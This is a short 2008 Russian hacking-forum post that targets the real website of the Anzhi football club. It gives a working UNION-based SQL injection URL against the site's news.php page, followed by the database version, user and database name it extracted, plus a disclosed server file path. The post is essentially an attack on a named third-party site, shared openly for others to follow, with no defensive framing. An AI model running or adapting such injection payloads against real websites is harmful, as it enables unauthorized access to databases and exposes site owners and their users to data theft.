27.08.2008, 03:11
|
|
Участник форума
Регистрация: 17.06.2008
Сообщений: 214
Провел на форуме:
964766
Репутация:
228
|
|
Давайте посетим сайт футбольного клуба Анжи.
http://www.fc-anji.ru
Код:
http://www.fc-anji.ru/news.php?id=-341+union+select+1,concat_ws(version(),0x3a,user(),0x3a,database()),3,4,5,6/*
version() - 4.1.22
user() - opendag@localhost
database() - wwwopendagru
Раскрытие пути:
/www/opendag/users/opendag-fcanji/www/htdocs/news.php
К information_schema и mysql.user доступа нету( |
|
|